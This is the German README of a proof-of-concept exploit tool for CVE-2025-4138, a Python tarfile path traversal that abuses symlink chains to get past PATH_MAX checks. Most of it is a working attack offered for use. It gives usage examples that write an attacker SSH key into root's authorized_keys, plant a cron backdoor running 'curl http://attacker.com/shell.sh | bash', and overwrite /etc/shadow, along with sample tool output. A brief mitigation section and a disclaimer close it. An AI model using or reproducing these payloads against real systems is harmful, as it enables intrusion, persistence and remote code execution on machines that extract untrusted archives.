
Python PoC für CVE-2025-4138, ein Path-Traversal im Python-tarfile-Modul, das Symlink-Ketten missbraucht, um PATH_MAX für beliebiges Dateischreiben zu umgehen.
tarfile PATH_MAX Umgehung PoCAutor: d3vn0mi
_______ _______ ____ ___ ___ ___ _ _ _ _____ ___
/ ___\ \ / / ____| |___ \/ _ \__ \| __| | | || |___ /( _ )
| | \ V /| _| _____ __) | | | |) |__ \ ___| | || |_|_ \/ _ \
| |___ | | | |__|_____/ __/| |_| / __/___) |___|__ _|__) \__, |
\____| |_| |_____| |_____|\___/_____|____/ |_||____/ /_/
[ CVE-2025-4138 :: Python tarfile PATH_MAX Bypass ]
[ Author: d3vn0mi ]
Ein Proof-of-Concept-Exploit für CVE-2025-4138, eine Path-Traversal-Schwachstelle im Python-tarfile-Modul. Die Schwachstelle erlaubt es einem Angreifer, ein bösartiges Tar-Archiv zu erstellen, das Dateien an beliebige Orte außerhalb des vorgesehenen Extraktionsverzeichnisses schreibt, indem Symlink-Ketten missbraucht werden, um PATH_MAX zu überschreiten.
| Feld | Wert |
|---|---|
| CVE-ID | CVE-2025-4138 |
| Komponente | Python tarfile-Modul |
| Typ | Path Traversal (CWE-22) |
| Vektor | Symlink-Kette + PATH_MAX-Umgehung |
| Auswirkung | Beliebiges Dateischreiben außerhalb des Extraktionsverzeichnisses |
Der Exploit arbeitet in vier Phasen:
Pfadaufblähung – Eine Kette von tief verschachtelten Verzeichnissen und Symlinks wird erstellt, sodass der vollständig aufgelöste Pfad das PATH_MAX-Limit des Kernels (4096 Bytes unter Linux) überschreitet.
Pivot-Symlink – Ein Symlink wird hinzugefügt, dessen aufgelöster Pfad die PATH_MAX-Grenze überschreitet. Da der Pfad zu lang ist, um aufgelöst zu werden, schlagen Pythons tarfile-Sicherheitsprüfungen (die auf os.path.realpath() basieren) stillschweigend fehl und überspringen die Validierung.
Escape-Symlink – Ein zweiter Symlink verwendet ../-Traversal durch den Pivot, um das Extraktionsverzeichnis vollständig zu verlassen und auf einen vom Angreifer kontrollierten absoluten Pfad im Dateisystem zu zeigen.
Payload-Ablage – Eine reguläre Datei wird durch den Escape-Symlink geschrieben und landet am Zielpfad mit vom Angreifer kontrolliertem Inhalt und Berechtigungen.
Extract dir
|
+-- ddd...d/ (247-char dir)
| +-- a -> ddd...d (symlink shortcut)
| +-- ddd...d/
| +-- b -> ddd...d
| +-- ... (16 levels deep, resolved path > 4096)
|
+-- a/b/.../p/lll...l -> ../../... (pivot - PATH_MAX exceeded)
+-- escape -> pivot + ../../... + /target/dir (escape)
+-- escape/target_file <-- PAYLOAD LANDS HERE (outside extract dir)
git clone https://github.com/d3vn0mi/cve_2025_4138_poc.git
cd cve_2025_4138_poc
Es werden keine externen Abhängigkeiten benötigt – der Exploit verwendet nur Python-3-Standardbibliotheksmodule.
usage: cve_2025_4138.py [-h] [-o OUTPUT] [-t TARGET] [-p PAYLOAD]
[-s PAYLOAD_STRING] [-k SSH_KEY] [-m MODE]
[-d DEPTH] [-v] [-q]
| Flag | Beschreibung |
|---|---|
-o, --output | Ausgabe-Tarball-Pfad (Standard: exploit.tar) |
-t, --target | Absoluter Pfad der Datei, die auf dem Ziel geschrieben werden soll (Standard: /root/.ssh/authorized_keys) |
-p, --payload | Pfad zu einer Datei, deren Inhalt zum Payload wird |
-s, --payload-string | Einen literalen String als Payload verwenden |
-k, --ssh-key | Pfad zu einer SSH-öffentlichen Schlüsseldatei |
-m, --mode | Dateiberechtigungsmodus in Oktal (Standard: 0600) |
-d, --depth | Verzeichnis-Traversal-Tiefe (Standard: 8) |
-v, --verify | Tarball-Inhalte nach Erstellung ausgeben |
-q, --quiet | Banner unterdrücken |
SSH-öffentlichen Schlüssel in die authorized_keys von root schreiben:
python3 cve_2025_4138.py -k ~/.ssh/id_rsa.pub -v
Cron-Job für Persistenz schreiben:
python3 cve_2025_4138.py \
-s "* * * * * root curl http://attacker.com/shell.sh | bash" \
-t /etc/cron.d/backdoor \
-m 0644 \
-o cron_exploit.tar
Beliebigen Dateiinhalt aus einer lokalen Datei schreiben:
python3 cve_2025_4138.py \
-p payload.txt \
-t /etc/shadow \
-o shadow_exploit.tar \
-v
[*] Building exploit tarball: exploit.tar
[*] Target file: /root/.ssh/authorized_keys
[*] Payload size: 574 bytes
[*] Traversal depth: 8
[*] Stage 1/4: Creating symlink chain for path inflation...
[*] Chain link 1/16: resolved path length ~247 bytes
[*] Chain link 2/16: resolved path length ~494 bytes
...
[*] Stage 2/4: Creating pivot symlink (PATH_MAX bypass)...
[*] Stage 3/4: Creating escape symlink (directory traversal)...
[*] Stage 4/4: Writing payload through escape symlink...
[+] Exploit tarball created: exploit.tar
[+] Archive size: 20480 bytes
[+] Target: /root/.ssh/authorized_keys (mode 0o600)
[+] Done. Use with caution - authorized testing only.
tarfile.data_filter verwenden (Python 3.12+), das strengere Extraktionskontrollen bietet.--strip-components verwenden oder Archivinhalte vor der Extraktion validieren.fs.protected_symlinks).Dieses Werkzeug wird nur für autorisierte Sicherheitstests und Bildungszwecke bereitgestellt. Unbefugter Zugriff auf Computersysteme ist illegal. Der Autor übernimmt keine Haftung für Missbrauch. Holen Sie stets eine ordnungsgemäße schriftliche Genehmigung ein, bevor Sie Tests an Systemen durchführen, die Ihnen nicht gehören.
Dieses Projekt ist unter der MIT-Lizenz lizenziert.
d3vn0mi | GitHub